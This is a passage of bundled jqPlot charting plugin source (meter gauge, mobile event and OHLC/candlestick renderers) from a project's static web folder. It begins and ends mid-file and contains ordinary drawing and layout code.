meter is "pegged". this.pegNeedle = true; this._type = 'meterGauge'; $.extend(true, this, options); this.type = null; this.numberTicks = null; this.tickInterval = null; // span, the sweep (in degrees) from min to max. This gauge is // a semi-circle. this.span = 180; // get rid of this nonsense // this.innerSpan = this.span; if (this.type == 'circular') { this.semiCircular = false; } else if (this.type != 'circular') { this.semiCircular = true; } else { this.semiCircular = (this.span <= 180) ? true : false; } this._tickPoints = []; // reference to label element. this._labelElem = null; // start the gauge at the beginning of the span this.startAngle = (90 + (360 - this.span)/2) * Math.PI/180; this.endAngle = (90 - (360 - this.span)/2) * Math.PI/180; this.setmin = !!(this.min == null); this.setmax = !!(this.max == null); // if given intervals and is an array of values, create labels and colors. if (this.intervals.length) { if (this.intervals[0].length == null || this.intervals.length == 1) { for (var i=0; i<this.intervals.length; i++) { this.intervals[i] = [this.intervals[i], this.intervals[i], this.intervalColors[i]]; } } else if (this.intervals[0].length == 2) { for (i=0; i<this.intervals.length; i++) { this.intervals[i] = [this.intervals[i][0], this.intervals[i][1], this.intervalColors[i]]; } } } // compute min, max and ticks if not supplied: if (this.ticks.length) { if (this.ticks[0].length == null || this.ticks[0].length == 1) { for (var i=0; i<this.ticks.length; i++) { this.ticks[i] = [this.ticks[i], this.ticks[i]]; } } this.min = (this.min == null) ? this.ticks[0][0] : this.min; this.max = (this.max == null) ? this.ticks[this.ticks.length-1][0] : this.max; this.setmin = false; this.setmax = false; this.numberTicks = this.ticks.length; this.tickInterval = this.ticks[1][0] - this.ticks[0][0]; this.tickFactor = Math.floor(parseFloat((Math.log(this.tickInterval)/Math.log(10)).toFixed(11))); // use the first interal to calculate minor ticks; this.numberMinorTicks = getnmt(this.tickPositions, this.tickInterval, this.tickFactor); if (!this.numberMinorTicks) { this.numberMinorTicks = getnmt(this.tickPositions, this.tickInterval, this.tickFactor-1); } if (!this.numberMinorTicks) { this.numberMinorTicks = 1; } } else if (this.intervals.length) { this.min = (this.min == null) ? 0 : this.min; this.setmin = false; if (this.max == null) { if (this.intervals[this.intervals.length-1][0] >= this.data[0][1]) { this.max = this.intervals[this.intervals.length-1][0]; this.setmax = false; } } else { this.setmax = false; } } else { // no ticks and no intervals supplied, put needle in middle this.min = (this.min == null) ? 0 : this.min; this.setmin = false; if (this.max == null) { this.max = this.data[0][1] * 1.25; this.setmax = true; } else { this.setmax = false; } } }; $.jqplot.MeterGaugeRenderer.prototype.setGridData = function(plot) { // set gridData property. This will hold angle in radians of each data point. var stack = []; var td = []; var sa = this.startAngle; for (var i=0; i<this.data.length; i++){ stack.push(this.data[i][1]); td.push([this.data[i][0]]); if (i>0) { stack[i] += stack[i-1]; } } var fact = Math.PI*2/stack[stack.length - 1]; for (var i=0; i<stack.length; i++) { td[i][1] = stack[i] * fact; } this.gridData = td; }; $.jqplot.MeterGaugeRenderer.prototype.makeGridData = function(data, plot) { var stack = []; var td = []; var sa = this.startAngle; for (var i=0; i<data.length; i++){ stack.push(data[i][1]); td.push([data[i][0]]); if (i>0) { stack[i] += stack[i-1]; } } var fact = Math.PI*2/stack[stack.length - 1]; for (var i=0; i<stack.length; i++) { td[i][1] = stack[i] * fact; } return td; }; function getnmt(pos, interval, fact) { var temp; for (var i=pos.length-1; i>=0; i--) { temp = interval/(pos[i] * Math.pow(10, fact)); if (temp == 4 || temp == 5) { return temp - 1; } } return null; } // called with scope of series $.jqplot.MeterGaugeRenderer.prototype.draw = function (ctx, gd, options) { var i; var opts = (options != undefined) ? options : {}; // offset and direction of offset due to legend placement var offx = 0; var offy = 0; var trans = 1; if (options.legendInfo && options.legendInfo.placement == 'inside') { var li = options.legendInfo; switch (li.location) { case 'nw': offx = li.width + li.xoffset; break; case 'w': offx = li.width + li.xoffset; break; case 'sw': offx = li.width + li.xoffset; break; case 'ne': offx = li.width + li.xoffset; trans = -1; break; case 'e': offx = li.width + li.xoffset; trans = -1; break; case 'se': offx = li.width + li.xoffset; trans = -1; break; case 'n': offy = li.height + li.yoffset; break; case 's': offy = li.height + li.yoffset; trans = -1; break; default: break; } } // pre-draw so can get its dimensions. if (this.label) { this._labelElem = $('<div class="jqplot-meterGauge-label" style="position:absolute;">'+this.label+'</div>'); this.canvas._elem.after(this._labelElem); } var shadow = (opts.shadow != undefined) ? opts.shadow : this.shadow; var showLine = (opts.showLine != undefined) ? opts.showLine : this.showLine; var fill = (opts.fill != undefined) ? opts.fill : this.fill; var cw = ctx.canvas.width; var ch = ctx.canvas.height; if (this.padding == null) { this.padding = Math.round(Math.min(cw, ch)/30); } var w = cw - offx - 2 * this.padding; var h = ch - offy - 2 * this.padding; if (this.labelPosition == 'bottom' && this.label) { h -= this._labelElem.outerHeight(true); } var mindim = Math.min(w,h); var d = mindim; if (!this.diameter) { if (this.semiCircular) { if ( w >= 2*h) { if (!this.ringWidth) { this.ringWidth = 2*h/35; } this.needleThickness = this.needleThickness || 2+Math.pow(this.ringWidth, 0.8); this.innerPad = this.ringWidth/2 + this.needleThickness/2 + this.needlePad; this.diameter = 2 * (h - 2*this.innerPad); } else { if (!this.ringWidth) { this.ringWidth = w/35; } this.needleThickness = this.needleThickness || 2+Math.pow(this.ringWidth, 0.8); this.innerPad = this.ringWidth/2 + this.needleThickness/2 + this.needlePad; this.diameter = w - 2*this.innerPad - this.ringWidth - this.padding; } // center taking into account legend and over draw for gauge bottom below hub. // this will be center of hub. this._center = [(cw - trans * offx)/2 + trans * offx, (ch + trans*offy - this.padding - this.ringWidth - this.innerPad)]; } else { if (!this.ringWidth) { this.ringWidth = d/35; } this.needleThickness = this.needleThickness || 2+Math.pow(this.ringWidth, 0.8); this.innerPad = 0; this.diameter = d - this.ringWidth; // center in middle of canvas taking into account legend. // will be center of hub. this._center = [(cw-trans*offx)/2 + trans * offx, (ch-trans*offy)/2 + trans * offy]; } if (this._labelElem && this.labelPosition == 'bottom') { this._center[1] -= this._labelElem.outerHeight(true); } } this._radius = this.diameter/2; this.tickSpacing = 6000/this.diameter; if (!this.hubRadius) { this.hubRadius = this.diameter/18; } this.shadowOffset = 0.5 + this.ringWidth/9; this.shadowWidth = this.ringWidth*1; this.tickPadding = 3 + Math.pow(this.diameter/20, 0.7); this.tickOuterRadius = this._radius - this.ringWidth/2 - this.tickPadding; this.tickLength = (this.showTicks) ? this._radius/13 : 0; if (this.ticks.length == 0) { // no ticks, lets make some. var max = this.max, min = this.min, setmax = this.setmax, setmin = this.setmin, ti = (max - min) * this.tickSpacing / this.span; var tf = Math.floor(parseFloat((Math.log(ti)/Math.log(10)).toFixed(11))); var tp = (ti/Math.pow(10, tf)); (tp > 2 && tp <= 2.5) ? tp = 2.5 : tp = Math.ceil(tp); var t = this.tickPositions; var tpindex, nt; for (i=0; i<t.length; i++) { if (tp == t[i] || i && t[i-1] < tp && tp < t[i]) { ti = t[i]*Math.pow(10, tf); tpindex = i; } } for (i=0; i<t.length; i++) { if (tp == t[i] || i && t[i-1] < tp && tp < t[i]) { ti = t[i]*Math.pow(10, tf); nt = Math.ceil((max - min) / ti); } } // both max and min are free if (setmax && setmin) { var tmin = (min > 0) ? min - min % ti : min - min % ti - ti; if (!this.forceZero) { var diff = Math.min(min - tmin, 0.8*ti); var ntp = Math.floor(diff/t[tpindex]); if (ntp > 1) { tmin = tmin + t[tpindex] * (ntp-1); if (parseInt(tmin, 10) != tmin && parseInt(tmin-t[tpindex], 10) == tmin-t[tpindex]) { tmin = tmin - t[tpindex]; } } } if (min == tmin) { min -= ti; } else { // tmin should always be lower than dataMin if (min - tmin > 0.23*ti) { min = tmin; } else { min = tmin -ti; nt += 1; } } nt += 1; var tmax = min + (nt - 1) * ti; if (max >= tmax) { tmax += ti; nt += 1; } // now tmax should always be mroe than dataMax if (tmax - max < 0.23*ti) { tmax += ti; nt += 1; } this.max = max = tmax; this.min = min; this.tickInterval = ti; this.numberTicks = nt; var it; for (i=0; i<nt; i++) { it = parseFloat((min+i*ti).toFixed(11)); this.ticks.push([it, it]); } this.max = this.ticks[nt-1][1]; this.tickFactor = tf; // determine number of minor ticks this.numberMinorTicks = getnmt(this.tickPositions, this.tickInterval, this.tickFactor); if (!this.numberMinorTicks) { this.numberMinorTicks = getnmt(this.tickPositions, this.tickInterval, this.tickFactor-1); } } // max is free, min is fixed else if (setmax) { var tmax = min + (nt - 1) * ti; if (max >= tmax) { max = tmax + ti; nt += 1; } else { max = tmax; } this.tickInterval = this.tickInterval || ti; this.numberTicks = this.numberTicks || nt; var it; for (i=0; i<this.numberTicks; i++) { it = parseFloat((min+i*this.tickInterval).toFixed(11)); this.ticks.push([it, it]); } this.max = this.ticks[this.numberTicks-1][1]; this.tickFactor = tf; // determine number of minor ticks this.numberMinorTicks = getnmt(this.tickPositions, this.tickInterval, this.tickFactor); if (!this.numberMinorTicks) { this.numberMinorTicks = getnmt(this.tickPositions, this.tickInterval, this.tickFactor-1); } } // not setting max or min if (!setmax && !setmin) { var range = this.max - this.min; tf = Math.floor(parseFloat((Math.log(range)/Math.log(10)).toFixed(11))) - 1; var nticks = [5,6,4,7,3,8,9,10,2], res, numticks, nonSigDigits=0, sigRange; // check to see how many zeros are at the end of the range if (range > 1) { var rstr = String(range); if (rstr.search(/\./) == -1) { var pos = rstr.search(/0+$/); nonSigDigits = (pos > 0) ? rstr.length - pos - 1 : 0; } } sigRange = range/Math.pow(10, nonSigDigits); for (i=0; i<nticks.length; i++) { res = sigRange/(nticks[i]-1); if (res == parseInt(res, 10)) { this.numberTicks = nticks[i]; this.tickInterval = range/(this.numberTicks-1); this.tickFactor = tf+1; break; } } var it; for (i=0; i<this.numberTicks; i++) { it = parseFloat((this.min+i*this.tickInterval).toFixed(11)); this.ticks.push([it, it]); } // determine number of minor ticks this.numberMinorTicks = getnmt(this.tickPositions, this.tickInterval, this.tickFactor); if (!this.numberMinorTicks) { this.numberMinorTicks = getnmt(this.tickPositions, this.tickInterval, this.tickFactor-1); } if (!this.numberMinorTicks) { this.numberMinorTicks = 1; var nums = [4, 5, 3, 6, 2]; for (i=0; i<5; i++) { var temp = this.tickInterval/nums[i]; if (temp == parseInt(temp, 10)) { this.numberMinorTicks = nums[i]-1; break; } } } } } var r = this._radius, sa = this.startAngle, ea = this.endAngle, pi = Math.PI, hpi = Math.PI/2; if (this.semiCircular) { var overAngle = Math.atan(this.innerPad/r), outersa = this.outerStartAngle = sa - overAngle, outerea = this.outerEndAngle = ea + overAngle, hubsa = this.hubStartAngle = sa - Math.atan(this.innerPad/this.hubRadius*2), hubea = this.hubEndAngle = ea + Math.atan(this.innerPad/this.hubRadius*2); ctx.save(); ctx.translate(this._center[0], this._center[1]); ctx.lineJoin = "round"; ctx.lineCap = "round"; // draw the innerbackground ctx.save(); ctx.beginPath(); ctx.fillStyle = this.background; ctx.arc(0, 0, r, outersa, outerea, false); ctx.closePath(); ctx.fill(); ctx.restore(); // draw the shadow // the outer ring. var shadowColor = 'rgba(0,0,0,'+this.shadowAlpha+')'; ctx.save(); for (var i=0; i<this.shadowDepth; i++) { ctx.translate(this.shadowOffset*Math.cos(this.shadowAngle/180*Math.PI), this.shadowOffset*Math.sin(this.shadowAngle/180*Math.PI)); ctx.beginPath(); ctx.strokeStyle = shadowColor; ctx.lineWidth = this.shadowWidth; ctx.arc(0 ,0, r, outersa, outerea, false); ctx.closePath(); ctx.stroke(); } ctx.restore(); // the inner hub. ctx.save(); var tempd = parseInt((this.shadowDepth+1)/2, 10); for (var i=0; i<tempd; i++) { ctx.translate(this.shadowOffset*Math.cos(this.shadowAngle/180*Math.PI), this.shadowOffset*Math.sin(this.shadowAngle/180*Math.PI)); ctx.beginPath(); ctx.fillStyle = shadowColor; ctx.arc(0 ,0, this.hubRadius, hubsa, hubea, false); ctx.closePath(); ctx.fill(); } ctx.restore(); // draw the outer ring. ctx.save(); ctx.beginPath(); ctx.strokeStyle = this.ringColor; ctx.lineWidth = this.ringWidth; ctx.arc(0 ,0, r, outersa, outerea, false); ctx.closePath(); ctx.stroke(); ctx.restore(); // draw the hub ctx.save(); ctx.beginPath(); ctx.fillStyle = this.ringColor; ctx.arc(0 ,0, this.hubRadius,hubsa, hubea, false); ctx.closePath(); ctx.fill(); ctx.restore(); // draw the ticks if (this.showTicks) { ctx.save(); var orad = this.tickOuterRadius, tl = this.tickLength, mtl = tl/2, nmt = this.numberMinorTicks, ts = this.span * Math.PI / 180 / (this.ticks.length-1), mts = ts/(nmt + 1); for (i = 0; i<this.ticks.length; i++) { ctx.beginPath(); ctx.lineWidth = 1.5 + this.diameter/360; ctx.strokeStyle = this.ringColor; var wps = ts*i+sa; ctx.moveTo(-orad * Math.cos(ts*i+sa), orad * Math.sin(ts*i+sa)); ctx.lineTo(-(orad-tl) * Math.cos(ts*i+sa), (orad - tl) * Math.sin(ts*i+sa)); this._tickPoints.push([(orad-tl) * Math.cos(ts*i+sa) + this._center[0] + this.canvas._offsets.left, (orad - tl) * Math.sin(ts*i+sa) + this._center[1] + this.canvas._offsets.top, ts*i+sa]); ctx.stroke(); ctx.lineWidth = 1.0 + this.diameter/440; if (i<this.ticks.length-1) { for (var j=1; j<=nmt; j++) { ctx.beginPath(); ctx.moveTo(-orad * Math.cos(ts*i+mts*j+sa), orad * Math.sin(ts*i+mts*j+sa)); ctx.lineTo(-(orad-mtl) * Math.cos(ts*i+mts*j+sa), (orad-mtl) * Math.sin(ts*i+mts*j+sa)); ctx.stroke(); } } } ctx.restore(); } // draw the tick labels if (this.showTickLabels) { var elem, l, t, ew, eh, dim, maxdim=0; var tp = this.tickPadding * (1 - 1/(this.diameter/80+1)); for (i=0; i<this.ticks.length; i++) { elem = $('<div class="jqplot-meterGauge-tick" style="position:absolute;">'+this.ticks[i][1]+'</div>'); this.canvas._elem.after(elem); ew = elem.outerWidth(true); eh = elem.outerHeight(true); l = this._tickPoints[i][0] - ew * (this._tickPoints[i][2]-Math.PI)/Math.PI - tp * Math.cos(this._tickPoints[i][2]); t = this._tickPoints[i][1] - eh/2 + eh/2 * Math.pow(Math.abs((Math.sin(this._tickPoints[i][2]))), 0.5) + tp/3 * Math.pow(Math.abs((Math.sin(this._tickPoints[i][2]))), 0.5) ; // t = this._tickPoints[i][1] - eh/2 - eh/2 * Math.sin(this._tickPoints[i][2]) - tp/2 * Math.sin(this._tickPoints[i][2]); elem.css({left:l, top:t, color: this.tickColor}); dim = ew*Math.cos(this._tickPoints[i][2]) + eh*Math.sin(Math.PI/2+this._tickPoints[i][2]/2); maxdim = (dim > maxdim) ? dim : maxdim; } } // draw the gauge label if (this.label && this.labelPosition == 'inside') { var l = this._center[0] + this.canvas._offsets.left; var tp = this.tickPadding * (1 - 1/(this.diameter/80+1)); var t = 0.5*(this._center[1] + this.canvas._offsets.top - this.hubRadius) + 0.5*(this._center[1] + this.canvas._offsets.top - this.tickOuterRadius + this.tickLength + tp) + this.labelHeightAdjust; // this._labelElem = $('<div class="jqplot-meterGauge-label" style="position:absolute;">'+this.label+'</div>'); // this.canvas._elem.after(this._labelElem); l -= this._labelElem.outerWidth(true)/2; t -= this._labelElem.outerHeight(true)/2; this._labelElem.css({left:l, top:t}); } else if (this.label && this.labelPosition == 'bottom') { var l = this._center[0] + this.canvas._offsets.left - this._labelElem.outerWidth(true)/2; var t = this._center[1] + this.canvas._offsets.top + this.innerPad + this.ringWidth + this.padding + this.labelHeightAdjust; this._labelElem.css({left:l, top:t}); } // draw the intervals ctx.save(); var inner = this.intervalInnerRadius || this.hubRadius * 1.5; if (this.intervalOuterRadius == null) { if (this.showTickLabels) { var outer = (this.tickOuterRadius - this.tickLength - this.tickPadding - this.diameter/8); } else { var outer = (this.tickOuterRadius - this.tickLength - this.diameter/16); } } else { var outer = this.intervalOuterRadius; } var range = this.max - this.min; var intrange = this.intervals[this.intervals.length-1] - this.min; var start, end, span = this.span*Math.PI/180; for (i=0; i<this.intervals.length; i++) { start = (i == 0) ? sa : sa + (this.intervals[i-1][0] - this.min)*span/range; if (start < 0) { start = 0; } end = sa + (this.intervals[i][0] - this.min)*span/range; if (end < 0) { end = 0; } ctx.beginPath(); ctx.fillStyle = this.intervals[i][2]; ctx.arc(0, 0, inner, start, end, false); ctx.lineTo(outer*Math.cos(end), outer*Math.sin(end)); ctx.arc(0, 0, outer, end, start, true); ctx.lineTo(inner*Math.cos(start), inner*Math.sin(start)); ctx.closePath(); ctx.fill(); } ctx.restore(); // draw the needle var datapoint = this.data[0][1]; var dataspan = this.max - this.min; if (this.pegNeedle) { if (this.data[0][1] > this.max + dataspan*3/this.span) { datapoint = this.max + dataspan*3/this.span; } if (this.data[0][1] < this.min - dataspan*3/this.span) { datapoint = this.min - dataspan*3/this.span; } } var dataang = (datapoint - this.min)/dataspan * this.span * Math.PI/180 + this.startAngle; ctx.save(); ctx.beginPath(); ctx.fillStyle = this.ringColor; ctx.strokeStyle = this.ringColor; this.needleLength = (this.tickOuterRadius - this.tickLength) * 0.85; this.needleThickness = (this.needleThickness < 2) ? 2 : this.needleThickness; var endwidth = this.needleThickness * 0.4; var dl = this.needleLength/10; var dt = (this.needleThickness - endwidth)/10; var templ; for (var i=0; i<10; i++) { templ = this.needleThickness - i*dt; ctx.moveTo(dl*i*Math.cos(dataang), dl*i*Math.sin(dataang)); ctx.lineWidth = templ; ctx.lineTo(dl*(i+1)*Math.cos(dataang), dl*(i+1)*Math.sin(dataang)); ctx.stroke(); } ctx.restore(); } else { this._center = [(cw - trans * offx)/2 + trans * offx, (ch - trans*offy)/2 + trans * offy]; } }; $.jqplot.MeterGaugeAxisRenderer = function() { $.jqplot.LinearAxisRenderer.call(this); }; $.jqplot.MeterGaugeAxisRenderer.prototype = new $.jqplot.LinearAxisRenderer(); $.jqplot.MeterGaugeAxisRenderer.prototype.constructor = $.jqplot.MeterGaugeAxisRenderer; // There are no traditional axes on a gauge chart. We just need to provide // dummy objects with properties so the plot will render. // called with scope of axis object. $.jqplot.MeterGaugeAxisRenderer.prototype.init = function(options){ // this.tickRenderer = $.jqplot.MeterGaugeTickRenderer; $.extend(true, this, options); // I don't think I'm going to need _dataBounds here. // have to go Axis scaling in a way to fit chart onto plot area // and provide u2p and p2u functionality for mouse cursor, etc. // for convienence set _dataBounds to 0 and 100 and // set min/max to 0 and 100. this._dataBounds = {min:0, max:100}; this.min = 0; this.max = 100; this.showTicks = false; this.ticks = []; this.showMark = false; this.show = false; }; $.jqplot.MeterGaugeLegendRenderer = function(){ $.jqplot.TableLegendRenderer.call(this); }; $.jqplot.MeterGaugeLegendRenderer.prototype = new $.jqplot.TableLegendRenderer(); $.jqplot.MeterGaugeLegendRenderer.prototype.constructor = $.jqplot.MeterGaugeLegendRenderer; /** * Class: $.jqplot.MeterGaugeLegendRenderer *Meter gauges don't typically have a legend, this overrides the default legend renderer. */ $.jqplot.MeterGaugeLegendRenderer.prototype.init = function(options) { // Maximum number of rows in the legend. 0 or null for unlimited. this.numberRows = null; // Maximum number of columns in the legend. 0 or null for unlimited. this.numberColumns = null; $.extend(true, this, options); }; // called with context of legend $.jqplot.MeterGaugeLegendRenderer.prototype.draw = function() { if (this.show) { var series = this._series; var ss = 'position:absolute;'; ss += (this.background) ? 'background:'+this.background+';' : ''; ss += (this.border) ? 'border:'+this.border+';' : ''; ss += (this.fontSize) ? 'font-size:'+this.fontSize+';' : ''; ss += (this.fontFamily) ? 'font-family:'+this.fontFamily+';' : ''; ss += (this.textColor) ? 'color:'+this.textColor+';' : ''; ss += (this.marginTop != null) ? 'margin-top:'+this.marginTop+';' : ''; ss += (this.marginBottom != null) ? 'margin-bottom:'+this.marginBottom+';' : ''; ss += (this.marginLeft != null) ? 'margin-left:'+this.marginLeft+';' : ''; ss += (this.marginRight != null) ? 'margin-right:'+this.marginRight+';' : ''; this._elem = $('<table class="jqplot-table-legend" style="'+ss+'"></table>'); // MeterGauge charts legends don't go by number of series, but by number of data points // in the series. Refactor things here for that. var pad = false, reverse = false, nr, nc; var s = series[0]; if (s.show) { var pd = s.data; if (this.numberRows) { nr = this.numberRows; if (!this.numberColumns){ nc = Math.ceil(pd.length/nr); } else{ nc = this.numberColumns; } } else if (this.numberColumns) { nc = this.numberColumns; nr = Math.ceil(pd.length/this.numberColumns); } else { nr = pd.length; nc = 1; } var i, j, tr, td1, td2, lt, rs, color; var idx = 0; for (i=0; i<nr; i++) { if (reverse){ tr = $('<tr class="jqplot-table-legend"></tr>').prependTo(this._elem); } else{ tr = $('<tr class="jqplot-table-legend"></tr>').appendTo(this._elem); } for (j=0; j<nc; j++) { if (idx < pd.length){ // debugger lt = this.labels[idx] || pd[idx][0].toString(); color = s.color; if (!reverse){ if (i>0){ pad = true; } else{ pad = false; } } else{ if (i == nr -1){ pad = false; } else{ pad = true; } } rs = (pad) ? this.rowSpacing : '0'; td1 = $('<td class="jqplot-table-legend" style="text-align:center;padding-top:'+rs+';">'+ '<div><div class="jqplot-table-legend-swatch" style="border-color:'+color+';"></div>'+ '</div></td>'); td2 = $('<td class="jqplot-table-legend" style="padding-top:'+rs+';"></td>'); if (this.escapeHtml){ td2.text(lt); } else { td2.html(lt); } if (reverse) { td2.prependTo(tr); td1.prependTo(tr); } else { td1.appendTo(tr); td2.appendTo(tr); } pad = true; } idx++; } } } } return this._elem; }; // setup default renderers for axes and legend so user doesn't have to // called with scope of plot function preInit(target, data, options) { // debugger options = options || {}; options.axesDefaults = options.axesDefaults || {}; options.legend = options.legend || {}; options.seriesDefaults = options.seriesDefaults || {}; options.grid = options.grid || {}; // only set these if there is a gauge series var setopts = false; if (options.seriesDefaults.renderer == $.jqplot.MeterGaugeRenderer) { setopts = true; } else if (options.series) { for (var i=0; i < options.series.length; i++) { if (options.series[i].renderer == $.jqplot.MeterGaugeRenderer) { setopts = true; } } } if (setopts) { options.axesDefaults.renderer = $.jqplot.MeterGaugeAxisRenderer; options.legend.renderer = $.jqplot.MeterGaugeLegendRenderer; options.legend.preDraw = true; options.grid.background = options.grid.background || 'white'; options.grid.drawGridlines = false; options.grid.borderWidth = (options.grid.borderWidth != null) ? options.grid.borderWidth : 0; options.grid.shadow = (options.grid.shadow != null) ? options.grid.shadow : false; } } // called with scope of plot function postParseOptions(options) { // } $.jqplot.preInitHooks.push(preInit); $.jqplot.postParseOptionsHooks.push(postParseOptions); $.jqplot.MeterGaugeTickRenderer = function() { $.jqplot.AxisTickRenderer.call(this); }; $.jqplot.MeterGaugeTickRenderer.prototype = new $.jqplot.AxisTickRenderer(); $.jqplot.MeterGaugeTickRenderer.prototype.constructor = $.jqplot.MeterGaugeTickRenderer; })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.mobile.js ================================================ /** * jqplot.jquerymobile plugin * jQuery Mobile virtual event support. * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2011 Takashi Okamoto * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * */ (function($) { function postInit(target, data, options){ this.bindCustomEvents = function() { this.eventCanvas._elem.bind('vclick', {plot:this}, this.onClick); this.eventCanvas._elem.bind('dblclick', {plot:this}, this.onDblClick); this.eventCanvas._elem.bind('taphold', {plot:this}, this.onDblClick); this.eventCanvas._elem.bind('vmousedown', {plot:this}, this.onMouseDown); this.eventCanvas._elem.bind('vmousemove', {plot:this}, this.onMouseMove); this.eventCanvas._elem.bind('mouseenter', {plot:this}, this.onMouseEnter); this.eventCanvas._elem.bind('mouseleave', {plot:this}, this.onMouseLeave); if (this.captureRightClick) { this.eventCanvas._elem.bind('vmouseup', {plot:this}, this.onRightClick); this.eventCanvas._elem.get(0).oncontextmenu = function() { return false; }; } else { this.eventCanvas._elem.bind('vmouseup', {plot:this}, this.onMouseUp); } }; this.plugins.mobile = true; } $.jqplot.postInitHooks.push(postInit); })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.ohlcRenderer.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { /** * Class: $.jqplot.OHLCRenderer * jqPlot Plugin to draw Open Hi Low Close, Candlestick and Hi Low Close charts. * * To use this plugin, include the renderer js file in * your source: * * > <script type="text/javascript" src="plugins/jqplot.ohlcRenderer.js"></script> * * You will most likely want to use a date axis renderer * for the x axis also, so include the date axis render js file also: * * > <script type="text/javascript" src="plugins/jqplot.dateAxisRenderer.js"></script> * * Then you set the renderer in the series options on your plot: * * > series: [{renderer:$.jqplot.OHLCRenderer}] * * For OHLC and candlestick charts, data should be specified * like so: * * > dat = [['07/06/2009',138.7,139.68,135.18,135.4], ['06/29/2009',143.46,144.66,139.79,140.02], ...] * * If the data array has only 4 values per point instead of 5, * the renderer will create a Hi Low Close chart instead. In that case, * data should be supplied like: * * > dat = [['07/06/2009',139.68,135.18,135.4], ['06/29/2009',144.66,139.79,140.02], ...] * * To generate a candlestick chart instead of an OHLC chart, * set the "candlestick" option to true: * * > series: [{renderer:$.jqplot.OHLCRenderer, rendererOptions:{candleStick:true}}], * */ $.jqplot.OHLCRenderer = function(){ // subclass line renderer to make use of some of its methods. $.jqplot.LineRenderer.call(this); // prop: candleStick // true to render chart as candleStick. // Must have an open price, cannot be a hlc chart. this.candleStick = false; // prop: tickLength // length of the line in pixels indicating open and close price. // Default will auto calculate based on plot width and // number of points displayed. this.tickLength = 'auto'; // prop: bodyWidth // width of the candlestick body in pixels. Default will auto calculate // based on plot width and number of candlesticks displayed. this.bodyWidth = 'auto'; // prop: openColor // color of the open price tick mark. Default is series color. this.openColor = null; // prop: closeColor // color of the close price tick mark. Default is series color. this.closeColor = null; // prop: wickColor // color of the hi-lo line thorugh the candlestick body. // Default is the series color. this.wickColor = null; // prop: fillUpBody // true to render an "up" day (close price greater than open price) // with a filled candlestick body. this.fillUpBody = false; // prop: fillDownBody // true to render a "down" day (close price lower than open price) // with a filled candlestick body. this.fillDownBody = true; // prop: upBodyColor // Color of candlestick body of an "up" day. Default is series color. this.upBodyColor = null; // prop: downBodyColor // Color of candlestick body on a "down" day. Default is series color. this.downBodyColor = null; // prop: hlc // true if is a hi-low-close chart (no open price). // This is determined automatically from the series data. this.hlc = false; // prop: lineWidth // Width of the hi-low line and open/close ticks. // Must be set in the rendererOptions for the series. this.lineWidth = 1.5; this._tickLength; this._bodyWidth; }; $.jqplot.OHLCRenderer.prototype = new $.jqplot.LineRenderer(); $.jqplot.OHLCRenderer.prototype.constructor = $.jqplot.OHLCRenderer; // called with scope of series. $.jqplot.OHLCRenderer.prototype.init = function(options) { options = options || {}; // lineWidth has to be set on the series, changes in renderer // constructor have no effect. set the default here // if no renderer option for lineWidth is specified. this.lineWidth = options.lineWidth || 1.5; $.jqplot.LineRenderer.prototype.init.call(this, options); this._type = 'ohlc'; // set the yaxis data bounds here to account for hi and low values var db = this._yaxis._dataBounds; var d = this._plotData; // if data points have less than 5 values, force a hlc chart. if (d[0].length < 5) { this.renderer.hlc = true; for (var j=0; j<d.length; j++) { if (d[j][2] < db.min || db.min == null) { db.min = d[j][2]; } if (d[j][1] > db.max || db.max == null) { db.max = d[j][1]; } } } else { for (var j=0; j<d.length; j++) { if (d[j][3] < db.min || db.min == null) { db.min = d[j][3]; } if (d[j][2] > db.max || db.max == null) { db.max = d[j][2]; } } } }; // called within scope of series. $.jqplot.OHLCRenderer.prototype.draw = function(ctx, gd, options) { var d = this.data; var xmin = this._xaxis.min; var xmax = this._xaxis.max; // index of last value below range of plot. var xminidx = 0; // index of first value above range of plot. var xmaxidx = d.length; var xp = this._xaxis.series_u2p; var yp = this._yaxis.series_u2p; var i, prevColor, ops, b, h, w, a, points; var o; var r = this.renderer; var opts = (options != undefined) ? options : {}; var shadow = (opts.shadow != undefined) ? opts.shadow : this.shadow; var fill = (opts.fill != undefined) ? opts.fill : this.fill; var fillAndStroke = (opts.fillAndStroke != undefined) ? opts.fillAndStroke : this.fillAndStroke; r.bodyWidth = (opts.bodyWidth != undefined) ? opts.bodyWidth : r.bodyWidth; r.tickLength = (opts.tickLength != undefined) ? opts.tickLength : r.tickLength; ctx.save(); if (this.show) { var x, open, hi, low, close; // need to get widths based on number of points shown, // not on total number of points. Use the results // to speed up drawing in next step. for (var i=0; i<d.length; i++) { if (d[i][0] < xmin) { xminidx = i; } else if (d[i][0] < xmax) { xmaxidx = i+1; } } var dwidth = this.gridData[xmaxidx-1][0] - this.gridData[xminidx][0]; var nvisiblePoints = xmaxidx - xminidx; try { var dinterval = Math.abs(this._xaxis.series_u2p(parseInt(this._xaxis._intervalStats[0].sortedIntervals[0].interval, 10)) - this._xaxis.series_u2p(0)); } catch (e) { var dinterval = dwidth / nvisiblePoints; } if (r.candleStick) { if (typeof(r.bodyWidth) 